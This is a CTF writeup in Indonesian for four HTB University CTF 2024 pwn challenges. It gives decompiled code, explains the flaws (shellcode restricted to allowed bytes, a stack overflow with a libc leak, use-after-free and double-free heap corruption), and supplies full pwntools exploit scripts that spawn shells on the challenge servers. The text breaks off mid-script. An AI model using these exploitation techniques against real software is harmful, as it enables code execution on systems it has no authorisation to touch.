<style> img[alt=chall-sc] { display: block; margin: 0 auto; width: 100em; } p { text-align: justify; } p::first-line { text-indent: 0; } </style> # University CTF 2024: Binary Badlands Pwn Writeup (Bahasa Indonesia) ## Reconstruction ![chall-sc](https://hackmd.io/_uploads/rk_Hd86Ekl.png) Decompile ELFnya ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int buf; // [rsp+3h] [rbp-Dh] BYREF char v4; // [rsp+7h] [rbp-9h] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); banner(argc, argv, envp); buf = 0; v4 = 0; printstr("\n[*] Initializing components...\n"); sleep(1u); puts("\x1B[1;31m"); printstr("[-] Error: Misaligned components!\n"); puts("\x1B[1;34m"); printstr("[*] If you intend to fix them, type \"fix\": "); read(0, &buf, 4uLL); if ( !strncmp((const char *)&buf, "fix", 3uLL) ) { puts("\x1B[1;33m"); printstr("[!] Carefully place all the components: "); if ( (unsigned __int8)check() ) read_flag(); exit(1312); } puts("\x1B[1;31m"); printstr("[-] Mission failed!\n\n"); exit(1312); } ``` ### check ```c __int64 check() { __int64 v0; // rbx __int64 v1; // rbx __int64 v2; // rbx __int64 v3; // rbx __int64 v4; // rbx __int64 v5; // rax unsigned __int8 i; // [rsp+Fh] [rbp-71h] _QWORD *addr; // [rsp+10h] [rbp-70h] __int64 buf; // [rsp+20h] [rbp-60h] BYREF __int64 v10; // [rsp+28h] [rbp-58h] __int64 v11; // [rsp+30h] [rbp-50h] __int64 v12; // [rsp+38h] [rbp-48h] __int64 v13; // [rsp+40h] [rbp-40h] _BYTE v14[13]; // [rsp+48h] [rbp-38h] BYREF __int64 v15; // [rsp+55h] [rbp-2Bh] unsigned __int64 v16; // [rsp+68h] [rbp-18h] v16 = __readfsqword(0x28u); addr = mmap(0LL, 0x3CuLL, 7, 34, -1, 0LL); if ( addr == (_QWORD *)-1LL ) { perror("mmap"); exit(1); } buf = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; memset(v14, 0, sizeof(v14)); v15 = 0LL; read(0, &buf, 0x3CuLL); v0 = v10; *addr = buf; addr[1] = v0; v1 = v12; addr[2] = v11; addr[3] = v1; v2 = *(_QWORD *)v14; addr[4] = v13; addr[5] = v2; v3 = v15; *(_QWORD *)((char *)addr + 45) = *(_QWORD *)&v14[5]; *(_QWORD *)((char *)addr + 53) = v3; if ( !(unsigned int)validate_payload(addr, 59LL) ) { error("Invalid payload! Execution denied.\n"); exit(1); } ((void (*)(void))addr)(); munmap(addr, 0x3CuLL); for ( i = 0; i <= 6u; ++i ) { if ( regs((&::buf)[i]) != values[i] ) { v4 = values[i]; v5 = regs((&::buf)[i]); printf( "%s\n[-] Value of [ %s$%s%s ]: [ %s0x%lx%s ]%s\n\n[+] Correct value: [ %s0x%lx%s ]\n\n", "\x1B[1;31m", "\x1B[1;35m", (&::buf)[i], "\x1B[1;31m", "\x1B[1;35m", v5, "\x1B[1;31m", "\x1B[1;32m", "\x1B[1;33m", v4, "\x1B[1;32m"); return 0LL; } } return 1LL; } ``` ### values ```c _QWORD values[8] = { 0x1337c0de, 0xdeadbeef, 0xdead1337, 0x1337cafe, 0xbeefc0de, 0x13371337, 0x1337dead, 0x0 }; // weak ``` ### validate_payload ```c __int64 __fastcall validate_payload(__int64 a1, unsigned __int64 a2) { int v3; // [rsp+14h] [rbp-1Ch] unsigned __int64 i; // [rsp+18h] [rbp-18h] unsigned __int64 j; // [rsp+20h] [rbp-10h] for ( i = 0LL; i < a2; ++i ) { v3 = 0; for ( j = 0LL; j <= 0x11; ++j ) { if ( *(_BYTE *)(a1 + i) == allowed_bytes[j] ) { v3 = 1; break; } } if ( !v3 ) { printf("%s\n[-] Invalid byte detected: 0x%x at position %zu\n", "\x1B[1;31m", *(unsigned __int8 *)(a1 + i), i); return 0LL; } } return 1LL; } ``` ### allowed_bytes ```c _BYTE allowed_bytes[32] = { 73, -57, -71, -64, -34, 55, 19, -60, -58, -17, -66, -83, -54, -2, -61, 0, -70, -67, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; ``` ### read_flag ```c unsigned __int64 read_flag() { char buf; // [rsp+3h] [rbp-Dh] BYREF int fd; // [rsp+4h] [rbp-Ch] unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); fd = open("./flag.txt", 0); if ( fd < 0 ) { perror("\nError opening flag.txt, please contact an Administrator\n"); exit(1); } while ( read(fd, &buf, 1uLL) > 0 ) fputc(buf, _bss_start); close(fd); return v3 - __readfsqword(0x28u); } ``` Intinya kita ngeset value register r8, r9, r10, r12, r13, r14, dan r15 dengan hanya menggunakan bytes yang di allowed. Set valuenya sesuai dengan yang dicek di fungsi `check`. Karena stacknya `executable`, kita gunakan shellcode agar fungsi `read_flag` ditrigger sehingga flag ditampilkan di layar kita r8 -> 0x1337c0de r9 -> 0xdeadbeef r10 -> 0xdead1337 r12 -> 0x1337cafe r13 -> 0xbeefc0de r14 -> 0x13371337 r15 -> 0x1337dead ### POC ```python #!/usr/bin/env python3 from pwn import * import inspect context.terminal = "kitty @launch --location=split --cwd=current".split() def start(argv=[], *a, **kw): if args.LOCAL: argv = argv if argv else [exe.path] if args.GDB: return gdb.debug(argv, gdbscript=gdbscript, *a, **kw) return process(argv, *a, **kw) return remote(args.HOST or host, args.PORT or port, *a, **kw) gdbscript = """ c """ host, port = "nc 94.237.50.242 41892".split(" ")[1:3] exe = context.binary = ELF(args.EXE or "./reconstruction", False) io = start() sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() def li(value, name=None): if name is None: frame = inspect.currentframe().f_back name = [k for k, v in frame.f_locals.items() if v is value][0] log.info(f"{name}: {hex(value)}") rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') e = lambda a: a.encode() cl = lambda: io.close() rlf = lambda: io.recvline(0) bfh = lambda a: bytes.fromhex(a) context.log_level = 'debug' sl(b'fix') sc = asm(''' mov r8, 0x1337c0de mov r9, 0xdeadbeef mov r10, 0xdead1337 mov r12, 0x1337cafe mov r13, 0xbeefc0de mov r14, 0x13371337 mov r15, 0x1337dead ret ''') log.info(f"sc length: {len(sc)}") sl(sc) com() ``` `HTB{r3c0n5trucT_d3m_r3g5_e3e217497c70cb12d3ae96b09a29184c}` ## Recruitment ![chall-sc](https://hackmd.io/_uploads/rklppI64yg.png) Decompile ELFnya ### main ```c++ int __fastcall main(int argc, const char **argv, const char **envp) { unsigned __int64 v3; // rax char *v4; // rbx _BYTE v6[32]; // [rsp+0h] [rbp-280h] BYREF __int64 v7; // [rsp+20h] [rbp-260h] BYREF __int64 v8; // [rsp+40h] [rbp-240h] BYREF _BYTE v9[32]; // [rsp+70h] [rbp-210h] BYREF __int64 v10; // [rsp+90h] [rbp-1F0h] BYREF __int64 v11; // [rsp+B0h] [rbp-1D0h] BYREF _BYTE v12[112]; // [rsp+E0h] [rbp-1A0h] BYREF _BYTE v13[47]; // [rsp+150h] [rbp-130h] BYREF char v14; // [rsp+17Fh] [rbp-101h] BYREF _BYTE v15[47]; // [rsp+180h] [rbp-100h] BYREF char v16; // [rsp+1AFh] [rbp-D1h] BYREF _BYTE v17[32]; // [rsp+1B0h] [rbp-D0h] BYREF _BYTE v18[32]; // [rsp+1D0h] [rbp-B0h] BYREF _BYTE v19[32]; // [rsp+1F0h] [rbp-90h] BYREF _BYTE v20[32]; // [rsp+210h] [rbp-70h] BYREF _BYTE v21[40]; // [rsp+230h] [rbp-50h] BYREF char *v22; // [rsp+258h] [rbp-28h] char *v23; // [rsp+260h] [rbp-20h] char **profile; // [rsp+268h] [rbp-18h] Profile::Profile((Profile *)v9); Profile::Profile((Profile *)v6); while ( flag != 3 ) { v3 = menu(); if ( v3 == 3 ) { if ( flag ) { std::string::basic_string(v21, v6); journey((__int64)v21); std::string::~string(v21); } else { error("You need to set up your profile first!\n"); } } else { if ( v3 > 3 ) goto LABEL_17; if ( v3 == 1 ) { if ( flag == 1 ) { error("You cannot create a second profile!\n"); } else { profile = create_profile(); v4 = profile[2]; v23 = &v14; std::string::basic_string<std::allocator<char>>(v13, profile[1], &v14); v22 = &v16; std::string::basic_string<std::allocator<char>>(v15, *profile, &v16); Profile::Profile(v12, v15, v13, v4); Profile::operator=(v6, v12); Profile::~Profile((Profile *)v12); std::string::~string(v15); std::__new_allocator<char>::~__new_allocator(&v16); std::string::~string(v13); std::__new_allocator<char>::~__new_allocator(&v14); } } else { if ( v3 != 2 ) { LABEL_17: error("Invalid operation! Safety mechanism activated! Abort the room!\n"); exit(1312); } if ( flag ) { std::string::basic_string(v19, &v7); std::string::basic_string(v20, v6); Profile::display(v6, v20, v19, &v8); std::string::~string(v20); std::string::~string(v19); } else { std::string::basic_string(v17, &v10); std::string::basic_string(v18, v9); Profile::display(v9, v18, v17, &v11); std::string::~string(v18); std::string::~string(v17); } } } } Profile::~Profile((Profile *)v6); Profile::~Profile((Profile *)v9); return 0; } ``` ### create_profile ```c++ char **create_profile(void) { __int64 v0; // rax __int64 v1; // rax __int64 v2; // rax __int64 v3; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // rax __int64 v7; // rax __int64 v8; // rax __int64 v9; // rax __int64 v10; // rax __int64 v11; // rax __int64 v12; // rax __int64 v13; // rax const char *v14; // rax const char *v15; // rax char **v16; // rbx char buf[256]; // [rsp+0h] [rbp-160h] BYREF _BYTE v19[32]; // [rsp+100h] [rbp-60h] BYREF _BYTE v20[32]; // [rsp+120h] [rbp-40h] BYREF char **v21; // [rsp+140h] [rbp-20h] int i; // [rsp+14Ch] [rbp-14h] v21 = (char **)operator new[](0x18uLL); for ( i = 0; i <= 2; ++i ) v21[i] = (char *)operator new[](0x64uLL); std::string::basic_string(v20); std::string::basic_string(v19); fflush(_bss_start); std::operator<<<std::char_traits<char>>( &std::cout, "\n[*] You need to enter your Name, Class, and Age.\n\n[+] Name: "); std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v20); std::operator<<<std::char_traits<char>>(&std::cout, "[+] Class: "); std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v19); std::operator<<<std::char_traits<char>>(&std::cout, "[+] Age: "); read(0, buf, 32uLL); v0 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_404010); v1 = std::operator<<<std::char_traits<char>>(v0, "\x1B[1;35m"); v2 = std::operator<<<char>(v1, v20); v3 = std::operator<<<std::char_traits<char>>(v2, "\x1B[1;34m"); v4 = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); v5 = std::operator<<<std::char_traits<char>>(v4, "[*] Class: "); v6 = std::operator<<<std::char_traits<char>>(v5, "\x1B[1;33m"); v7 = std::operator<<<char>(v6, v19); v8 = std::operator<<<std::char_traits<char>>(v7, "\x1B[1;34m"); v9 = std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>); v10 = std::operator<<<std::char_traits<char>>(v9, "[*] Age: "); v11 = std::operator<<<std::char_traits<char>>(v10, buf); v12 = std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>); v13 = std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>); std::operator<<<std::char_traits<char>>(v13, &unk_404128); buf[strcspn(buf, "\n")] = 0; v14 = (const char *)std::string::c_str(v20); strcpy(*v21, v14); v15 = (const char *)std::string::c_str(v19); strcpy(v21[1], v15); strcpy(v21[2], buf); flag = 1; v16 = v21; std::string::~string(v19); std::string::~string(v20); return v16; } ``` ### journey ```c++ __int64 __fastcall journey(__int64 a1) { __int64 v1; // rax __int64 v2; // rax __int64 v3; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // rax char v8[8]; // [rsp+10h] [rbp-20h] BYREF __int64 v9; // [rsp+18h] [rbp-18h] __int64 v10; // [rsp+20h] [rbp-10h] __int64 v11; // [rsp+28h] [rbp-8h] flag = 3; v1 = std::operator<<<std::char_traits<char>>( &std::cout, "\x1B[1;32m\n[!] The fate of the Frontier Cluster lies on loyal and brave Space Cowpokes like you [ "); v2 = std::operator<<<std::char_traits<char>>(v1, "\x1B[1;35m"); v3 = std::operator<<<char>(v2, a1); v4 = std::operator<<<std::char_traits<char>>(v3, "\x1B[1;32m"); v5 = std::operator<<<std::char_traits<char>>(v4, " ]."); v6 = std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); std::operator<<<std::char_traits<char>>( v6, " We need you to tell us a bit about you so that we can assign to you your first mission: "); *(_QWORD *)v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0LL; return std::istream::getline((std::istream *)&std::cin, v8, 47LL); } ``` Kita bisa mendapatkan address `_IO_file_xsputn+506` dari `read(0, buf, 32uLL)` jika kita mengoverwrite 1 byte lsb dari address tersebut tanpa menggunakan newline `\n`, dan ada buffer overflow 7 bytes di `std::istream::getline((std::istream *)&std::cin, v8, 47LL)` pada fungsi `journey` karena ukuran v8 adalah 32 bytes `char v8 (rbp-0x20)`. Jadi untuk mengoverwrite `saved_rip` pasti 40 bytes (32 + 8). Overwrite `saved rip` menjadi `posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)` untuk mentrigger `arbitrary code execution` ### POC ```python #!/usr/bin/env python3 from pwn import * import inspect context.terminal = "kitty @launch --location=split --cwd=current".split() def start(argv=[], *a, **kw): if args.LOCAL: argv = argv if argv else [exe.path] if args.GDB: return gdb.debug(argv, gdbscript=gdbscript, *a, **kw) return process(argv, *a, **kw) return remote(args.HOST or host, args.PORT or port, *a, **kw) gdbscript = """ c """ host, port = "nc 94.237.61.84 48717".split(" ")[1:3] exe = context.binary = ELF(args.EXE or "./recruitment", False) io = start() sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() def li(value, name=None): if name is None: frame = inspect.currentframe().f_back name = [k for k, v in frame.f_locals.items() if v is value][0] log.info(f"{name}: {hex(value)}") rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') cl = lambda: io.close() rlf = lambda: io.recvline(0) bfh = lambda a: bytes.fromhex(a) libc = ELF("./glibc/libc.so.6") context.log_level = 'debug' def create_profile(name, claz, age): sla(b'$ ', b'1') sla(b'Name: ', name) sla(b'Class: ', claz) sa(b'Age: ', age) def show_profile(): sla(b'$ ', b'2') def start_journey(p): sl(p) create_profile(b'A' * 8, b'B' * 8, b'C' * 25) rud(b'[*] Age: ' + b'C' * 25) _IO_file_xsputn_506 = u64(lj(b'\xca' + io.recv(5), 8, b'\0')) li(_IO_file_xsputn_506) libc.address = _IO_file_xsputn_506 - 0x93bca li(libc.address, "libc_base") sla(b'$ ', b'3') start_journey(cyclic(0x28) + p64(libc.address + 0x583e3)[:-2]) com() ``` `HTB{R34dy_0R_n0t_w3_4r3_c0m1ng_eedf733c3a917e1ba9ad718c5711fa8a}` ## Prison Break ![chall-sc](https://hackmd.io/_uploads/HJd7xvaNJe.png) Decompile ELFnya ### main ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax setup(argc, argv, envp); banner(); while ( 1 ) { while ( 1 ) { v3 = menu(); if ( v3 != 4 ) break; copy_paste(); } if ( v3 > 4 ) { LABEL_12: error("Invalid option"); } else { switch ( v3 ) { case 3: view(); break; case 1: create(); break; case 2: delete(); break; default: goto LABEL_12; } } } } ``` ### create ```c unsigned __int64 create() { void *v0; // rax bool v2; // [rsp+7h] [rbp-29h] __int64 v3; // [rsp+8h] [rbp-28h] BYREF unsigned __int64 v4; // [rsp+10h] [rbp-20h] BYREF _QWORD *v5; // [rsp+18h] [rbp-18h] __int16 buf; // [rsp+26h] [rbp-Ah] BYREF unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); if ( (unsigned int)bounty_idx > 49 ) { error("Maximum number of bounty registrations reached. Shutting down..."); exit(-1); } printf("Bounty amount (Zell Bars): "); v3 = 0LL; __isoc99_scanf("%lu", &v3); printf("Wanted alive (y/n): "); buf = 0; read(0, &buf, 2uLL); HIBYTE(buf) = 0; v2 = strcmp((const char *)&buf, "y") == 0; printf("Description size: "); v4 = 0LL; __isoc99_scanf("%lu", &v4); if ( v4 <= 0x64 ) { v5 = malloc(0x20uLL); if ( !v5 ) { error("Failed to allocate space for bounty"); exit(-1); } v5[1] = v3; *((_BYTE *)v5 + 25) = v2; v5[2] = v4; v0 = malloc(v5[2]); *v5 = v0; *((_BYTE *)v5 + 24) = 1; if ( !*v5 ) { error("Failed to allocate space for bounty description"); exit(-1); } puts("Bounty description:"); read(0, (void *)*v5, v5[2]); Bounties[bounty_idx] = v5; printf("Bounty ID: %d\n\n", bounty_idx); ++bounty_idx; } else { error("Description size exceeds size limit"); } return __readfsqword(0x28u) ^ v7; } ``` ### view ```c unsigned __int64 view() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Journal index:"); v1 = 0; __isoc99_scanf("%d", &v1); if ( v1 < 0xA ) { if ( !Chunks[v1] ) error("Journal index does not exist"); if ( *(_BYTE *)(Chunks[v1] + 16LL) != 1 ) error("Journal is not inuse"); else printf( "Day #%s%u%s entry:\n%s\n", "\x1B[1;31m", *(_DWORD *)(Chunks[v1] + 20LL), "\x1B[1;97m", *(const char **)Chunks[v1]); } else { error("Journal index out of range"); } return __readfsqword(0x28u) ^ v2; } ``` ### delete ```c unsigned __int64 delete() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Journal index:"); v1 = 0; __isoc99_scanf("%d", &v1); if ( v1 < 0xA ) { if ( Chunks[v1] && *(_BYTE *)(Chunks[v1] + 16LL) ) { *(_BYTE *)(Chunks[v1] + 16LL) = 0; free(*(void **)Chunks[v1]); } else { error("Journal is not inuse"); } } else { error("Journal index out of range"); } return __readfsqword(0x28u) ^ v2; } ``` ### copy_paste ```c unsigned __int64 copy_paste() { unsigned int v1; // [rsp+0h] [rbp-10h] BYREF unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); v1 = 0; v2 = 0; puts("Copy index:"); __isoc99_scanf("%d", &v1); if ( v1 >= 0xA || (puts("Paste index:"), __isoc99_scanf("%d", &v2), v2 >= 0xA) ) { error("Index out of range"); } else if ( Chunks[v1] && Chunks[v2] ) { if ( *(_BYTE *)(Chunks[v1] + 16LL) || *(_BYTE *)(Chunks[v2] + 16LL) ) { if ( *(_QWORD *)(Chunks[v1] + 8LL) <= *(_QWORD *)(Chunks[v2] + 8LL) ) { *(_DWORD *)(Chunks[v2] + 20LL) = day; memcpy(*(void **)Chunks[v2], *(const void **)Chunks[v1], *(_QWORD *)(Chunks[v1] + 8LL)); puts("Copy successfull!\n"); } else { error("Copy index size cannot be larger than the paste index size"); } } else { error("Journal index not in use"); } } else { error("Invalid copy/paste index"); } return __readfsqword(0x28u) ^ v3; } ``` Terdapat `Use-After-Free` vulnerability di `free(*(void **)Chunks[v1])` karena pointer ke journal tidak di null setelah difreed. Meskipun index chunk di null setelah kita mendelete suatu journal `*(_BYTE *)(Chunks[v1] + 16LL) = 0`, kita tetap bisa mengoverwrite freed chunk tersebut dengan journal di index lain karena pengecekan di fungsi `copy_paste` menggunakan `or` untuk kondisi `if` jadi jika `copy_index` valid dan `copy_destination` invalid, maka tetap valid `if ( *(_BYTE *)(Chunks[v1] + 0x10LL) || *(_BYTE *)(Chunks[v2] + 0x10LL) )`. GLIBC yang digunakan ELF tersebut adalah GLIBC 2.27 yang masih mempunyai `__free_hook` dan `__malloc_hook` serta tidak ada `safe-linking`. Jadi, untuk mentrigger `arbitrary code execution`, kita bisa mengoverwrite `__free_hook` menjadi `execve("/bin/sh", rsp+0x40, environ)` kemudian mendelete salah satu journal yang telah kita buat agar `free` ditrigger ### POC ```python #!/usr/bin/env python3 from pwn import * import inspect context.terminal = "kitty @launch --location=split --cwd=current".split() def start(argv=[], *a, **kw): if args.LOCAL: argv = argv if argv else [exe.path] if args.GDB: return gdb.debug(argv, gdbscript=gdbscript, *a, **kw) return process(argv, *a, **kw) return remote(args.HOST or host, args.PORT or port, *a, **kw) gdbscript = """ c """ host, port = "nc 83.136.250.185 32651".split(" ")[1:3] exe = context.binary = ELF(args.EXE or "./prison_break", False) libc = ELF("./glibc/libc.so.6", checksec = 0) ld = ELF("./glibc/ld-2.27.so") io = start() sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() def li(value, name=None): if name is None: frame = inspect.currentframe().f_back name = [k for k, v in frame.f_locals.items() if v is value][0] log.info(f"{name}: {hex(value)}") rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') cl = lambda: io.close() rlf = lambda: io.recvline(0) bfh = lambda a: bytes.fromhex(a) def add(idx, sz, data): sla(b'# ', b'1') sl(str(idx).encode()) sl(str(sz).encode()) s(data) def delete(idx): sla(b'# ', b'2') sl(str(idx).encode()) def view(idx): sla(b'# ', b'3') sl(str(idx).encode()) def copas(src_idx, dest_idx): sla(b'# ', b'4') sl(str(src_idx).encode()) sl(str(dest_idx).encode()) context.log_level = 'debug' libc = ELF("./glibc/libc.so.6", checksec = 0) io.recv() add(0, 0x428, b'#') add(1, 0x428, b'#') delete(0) copas(0, 1) view(1) for i in range(0, 3): rl() main_arena_96 = u64(lj(rud(b'\n'), 8, b'\0')) li(main_arena_96) libc.address = main_arena_96 - 0x3ebca0 assert libc.address & 0xfff == 0 li(libc.address, "libc_base") __free_hook = libc.address + 0x3ed8e8 add(2, 0x28, b'#') add(3, 0x28, b'#') add(4, 0x28, p64(__free_hook)) delete(3) delete(2) copas(4, 2) add(2, 0x28, b'#') add(3, 0x28, p64(libc.address + 0x4f432)) delete(2) com() ``` `HTB{h4cky_pr1s0n_br34k_142941001a13ddad70f7655dbd183521}` ## Dead or Alive Lupa discreenshot deskripsi challengenya, tapi tidak penting juga deskripsinya karena hanya basa-basi. Decompile ELFnya ### main ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax setup(argc, argv, envp); banner(); while ( 1 ) { while ( 1 ) { v3 = menu(); if ( v3 != 3 ) break; view(); } if ( v3 > 3 ) { LABEL_10: error("Invalid option"); } else if ( v3 == 1 ) { create(); } else { if ( v3 != 2 ) goto LABEL_10; delete(); } } } ``` ### menu ```c __int64 menu() { unsigned int v1; // [rsp+Ch] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+10h] [rbp-8h] v2 = __readfsqword(0x28u); printf( " [ %sOfficial Bounty Service%s ]\n" "#################################\n" "## %s[1] Register bounty %s ##\n" "## %s[2] Remove bounty %s ##\n" "## %s[3] View registered bounty %s ##\n" "#################################\n" "==> ", "\x1B[1;31m", "\x1B[1;97m", "\x1B[1;31m", "\x1B[1;97m", "\x1B[1;31m", "\x1B[1;97m", "\x1B[1;31m", "\x1B[1;97m"); v1 = 0; __isoc99_scanf("%d", &v1); putchar(10); return v1; } ``` ### create ```c unsigned __int64 create() { void *v0; // rax bool v2; // [rsp+7h] [rbp-29h] __int64 v3; // [rsp+8h] [rbp-28h] BYREF unsigned __int64 v4; // [rsp+10h] [rbp-20h] BYREF _QWORD *v5; // [rsp+18h] [rbp-18h] __int16 buf; // [rsp+26h] [rbp-Ah] BYREF unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); if ( (unsigned int)bounty_idx > 0x31 ) { error("Maximum number of bounty registrations reached. Shutting down..."); exit(-1); } printf("Bounty amount (Zell Bars): "); v3 = 0LL; __isoc99_scanf("%lu", &v3); printf("Wanted alive (y/n): "); buf = 0; read(0, &buf, 2uLL); HIBYTE(buf) = 0; v2 = strcmp((const char *)&buf, "y") == 0; printf("Description size: "); v4 = 0LL; __isoc99_scanf("%lu", &v4); if ( v4 <= 0x64 ) { v5 = malloc(0x20uLL); if ( !v5 ) { error("Failed to allocate space for bounty"); exit(-1); } v5[1] = v3; *((_BYTE *)v5 + 25) = v2; v5[2] = v4; v0 = malloc(v5[2]); *v5 = v0; *((_BYTE *)v5 + 24) = 1; if ( !*v5 ) { error("Failed to allocate space for bounty description"); exit(-1); } puts("Bounty description:"); read(0, (void *)*v5, v5[2]); Bounties[bounty_idx] = v5; printf("Bounty ID: %d\n\n", bounty_idx); ++bounty_idx; } else { error("Description size exceeds size limit"); } return __readfsqword(0x28u) ^ v7; } ``` ### delete ```c unsigned __int64 delete() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Bounty ID: "); v1 = 0; __isoc99_scanf("%d", &v1); if ( v1 >= 0 && v1 < (unsigned int)bounty_idx ) { if ( *(_BYTE *)(Bounties[v1] + 24LL) == 1 && *(_QWORD *)Bounties[v1] ) { free(*(void **)Bounties[v1]); *(_QWORD *)Bounties[v1] = 0LL; *(_BYTE *)(Bounties[v1] + 24LL) = 0; free((void *)Bounties[v1]); putchar(10); } else { error("Invalid ID"); } } else { error("Bounty ID out of range"); } return __readfsqword(0x28u) ^ v2; } ``` ### view ```c unsigned __int64 view() { const char *v0; // rax unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Bounty ID: "); v2 = 0; __isoc99_scanf("%d", &v2); if ( v2 < 0x32 ) { if ( Bounties[v2] ) { if ( *(_BYTE *)(Bounties[v2] + 24LL) != 1 ) { error("Bounty has been removed"); } else { if ( *(_BYTE *)(Bounties[v2] + 25LL) ) v0 = "Yes"; else v0 = "No"; printf( "\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n", *(_QWORD *)(Bounties[v2] + 8LL), v0, *(const char **)Bounties[v2]); } } else { error("Bounty ID does not exist"); } } else { error("ID out of range"); } return __readfsqword(0x28u) ^ v3; } ``` Terdapat `Double-Free` dan `Use-After-Free` vulnerability di fungsi `delete`. GLIBC yang digunakan adalah versi 2.35, jadi terdapat `safe-linking` dan tidak ada `__free_hook` dan `__malloc_hook`. Max allocation size adalah `0x64` bytes. Namun, kita bisa mengcreate fake chunk untuk mentrigger `main_arena+96` di unsortedbins and then kita hitung libc base addressnya. Setelah mendapatkan libc base address, langsung saja overwrite return address dari fungsi `create` dengan `system('/bin/sh')` untuk mentrigger `arbitrary code execution`. ### POC ```python #!/usr/bin/env python3 from pwn import * import inspect context.terminal = "kitty @launch --location=split --cwd=current".split() def start(argv=[], *a, **kw): if args.LOCAL: argv = argv if argv else [exe.path] if args.GDB: return gdb.debug(argv, gdbscript=gdbscript, *a, **kw) return process(argv, *a, **kw) return remote(args.HOST or host, args.PORT or port, *a, **kw) gdbscript = """ c """ host, port = "nc 83.136.254.158 30659".split(" ")[1:3] exe = context.binary = ELF(args.EXE or "./dead_or_alive", False) libc = ELF("./glibc/libc.so.6", checksec = 0) ld = ELF("./glibc/ld-2.35.so") io = start() sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() def li(value, name=None): if name is None: frame = inspect.currentframe().f_back name = [k for k, v in frame.f_locals.items() if v is value][0] log.info(f"{name}: {hex(value)}") rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') cl = lambda: io.close() rlf = lambda: io.recvline(0) bfh = lambda a: bytes.fromhex(a) idx = 0 def register(sz, data, amount=50, status=b'y'): sla(b'==> ', b'1') sla(b': ', str(amount).encode()) sla(b': ', status) sla(b': ', str(sz).encode()) sa(b':\n', data) global idx idx += 1 def delete(idx): sla(b'==> ', b'2') sla(b': ', str(idx).encode()) def view(idx): sla(b'==> ', b'3') sla(b': ', str(idx).encode()) def demangle(p): mask = 0xfff << 52 while mask: v = p & mask p ^= (v >> 12) mask >>= 12 return p def mangle(p, adr): return p^(adr>>12) context.log_level = 'debug' register(0x38, b'A') register(0x38, b'B') register(0x38, b'C') delete(2) delete(1) delete(0) register(0x28, b'D') view(3) rud(b'Description: ') leaked_heap = demangle(u64(lj(io.recv(6), 8, b'\0'))) li(leaked_heap) heap_base = (leaked_heap) & ~0xfff li(heap_base) assert heap_base & 0xfff == 0 # bikin fake chunk register(0x38, b'E' * 8 + p64(0x421) + b'F') # fake chunk header for i in range(0, 4, 1): register(0x60, chr(ord('G') + i).encode()) register(0x60, 